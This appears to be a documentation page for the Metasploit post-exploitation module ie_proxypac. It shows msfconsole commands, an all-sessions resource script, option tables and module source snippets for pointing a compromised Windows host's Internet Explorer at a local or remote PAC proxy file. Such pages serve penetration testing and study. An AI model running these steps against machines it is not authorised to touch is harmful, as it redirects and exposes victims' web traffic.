Windows Manage Proxy PAC File - Metasploit


This page contains detailed information about how to use the post/windows/manage/ie_proxypac metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Manage Proxy PAC File
Module: post/windows/manage/ie_proxypac
Source code: modules/post/windows/manage/ie_proxypac.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC option, a PAC file will be created on the victim host. It's also possible to provide a remote PAC file (REMOTE_PAC option) by providing the full URL.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/ie_proxypac

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/ie_proxypac
msf post(ie_proxypac) > show options
    ... show and set options ...
msf post(ie_proxypac) > set SESSION session-id
msf post(ie_proxypac) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/ie_proxypac")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/ie_proxypac post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/ie_proxypac

msf6 post(windows/manage/ie_proxypac) > show info

       Name: Windows Manage Proxy PAC File
     Module: post/windows/manage/ie_proxypac
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Borja Merino <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  AUTO_DETECT    false            yes       Automatically detect settings.
  DISABLE_PROXY  false            yes       Disable the proxy server.
  LOCAL_PAC                       no        Local PAC file.
  REMOTE_PAC                      no        Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)
  SESSION                         yes       The session to run this module on.

Description:
  This module configures Internet Explorer to use a PAC proxy file. By 
  using the LOCAL_PAC option, a PAC file will be created on the victim 
  host. It's also possible to provide a remote PAC file (REMOTE_PAC 
  option) by providing the full URL.

References:
  https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1
  http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry

Module Options


This is a complete list of options available in the windows/manage/ie_proxypac post exploitation module:

msf6 post(windows/manage/ie_proxypac) > show options

Module options (post/windows/manage/ie_proxypac):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   AUTO_DETECT    false            yes       Automatically detect settings.
   DISABLE_PROXY  false            yes       Disable the proxy server.
   LOCAL_PAC                       no        Local PAC file.
   REMOTE_PAC                      no        Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)
   SESSION                         yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/ie_proxypac post exploitation module:

msf6 post(windows/manage/ie_proxypac) > show advanced

Module advanced options (post/windows/manage/ie_proxypac):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/ie_proxypac module can do:

msf6 post(windows/manage/ie_proxypac) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/ie_proxypac post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/ie_proxypac) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

You must set a remote or local PAC file. Aborting...


Here is a relevant code snippet related to the "You must set a remote or local PAC file. Aborting..." error message:

39:	    )
40:	  end
41:	
42:	  def run
43:	    if datastore['LOCAL_PAC'].blank? and datastore['REMOTE_PAC'].blank?
44:	      print_error("You must set a remote or local PAC file. Aborting...")
45:	      return
46:	    end
47:	
48:	    if datastore['REMOTE_PAC']
49:	      @remote = true

Error while setting an automatic configuration script. Aborting...


Here is a relevant code snippet related to the "Error while setting an automatic configuration script. Aborting..." error message:

48:	    if datastore['REMOTE_PAC']
49:	      @remote = true
50:	      print_status("Setting automatic configuration script from a remote PAC file ...")
51:	      res = enable_proxypac(datastore['REMOTE_PAC'])
52:	      unless res
53:	        print_error("Error while setting an automatic configuration script. Aborting...")
54:	        return
55:	      end
56:	    else
57:	      @remote = false
58:	      print_status("Setting automatic configuration script from local PAC file ...")

There were problems creating the PAC proxy file. Aborting...


Here is a relevant code snippet related to the "There were problems creating the PAC proxy file. Aborting..." error message:

56:	    else
57:	      @remote = false
58:	      print_status("Setting automatic configuration script from local PAC file ...")
59:	      pac_file = create_pac(datastore['LOCAL_PAC'])
60:	      unless pac_file
61:	        print_error("There were problems creating the PAC proxy file. Aborting...")
62:	        return
63:	      end
64:	      res = enable_proxypac(pac_file)
65:	      unless res
66:	        print_error("Error while setting an automatic configuration script. Aborting...")

Error while setting an automatic configuration script. Aborting...


Here is a relevant code snippet related to the "Error while setting an automatic configuration script. Aborting..." error message:

61:	        print_error("There were problems creating the PAC proxy file. Aborting...")
62:	        return
63:	      end
64:	      res = enable_proxypac(pac_file)
65:	      unless res
66:	        print_error("Error while setting an automatic configuration script. Aborting...")
67:	        return
68:	      end
69:	    end
70:	
71:	    print_good("Automatic configuration script configured...")

Failed to enable Automatically Detect Settings. Proceeding anyway...


Here is a relevant code snippet related to the "Failed to enable Automatically Detect Settings. Proceeding anyway..." error message:

71:	    print_good("Automatic configuration script configured...")
72:	
73:	    if datastore['AUTO_DETECT']
74:	      print_status("Enabling Automatically Detect Settings...")
75:	      unless auto_detect_on
76:	        print_error("Failed to enable Automatically Detect Settings. Proceeding anyway...")
77:	      end
78:	    end
79:	
80:	    if datastore['DISABLE_PROXY']
81:	      print_status("Disabling the Proxy Server...")

Failed to disable Proxy Server. Proceeding anyway...


Here is a relevant code snippet related to the "Failed to disable Proxy Server. Proceeding anyway..." error message:

78:	    end
79:	
80:	    if datastore['DISABLE_PROXY']
81:	      print_status("Disabling the Proxy Server...")
82:	      unless disable_proxy
83:	        print_error("Failed to disable Proxy Server. Proceeding anyway...")
84:	      end
85:	    end
86:	  end
87:	
88:	  def create_pac(local_pac)

Local PAC file not found.


Here is a relevant code snippet related to the "Local PAC file not found." error message:

90:	    conf_pac = ""
91:	
92:	    if ::File.exist?(local_pac)
93:	      conf_pac << ::File.open(local_pac, "rb").read
94:	    else
95:	      print_error("Local PAC file not found.")
96:	      return false
97:	    end
98:	
99:	    if write_file(pac_file, conf_pac)
100:	      print_status("PAC proxy configuration file written to #{pac_file}")

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Borja Merino <bmerinofe[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.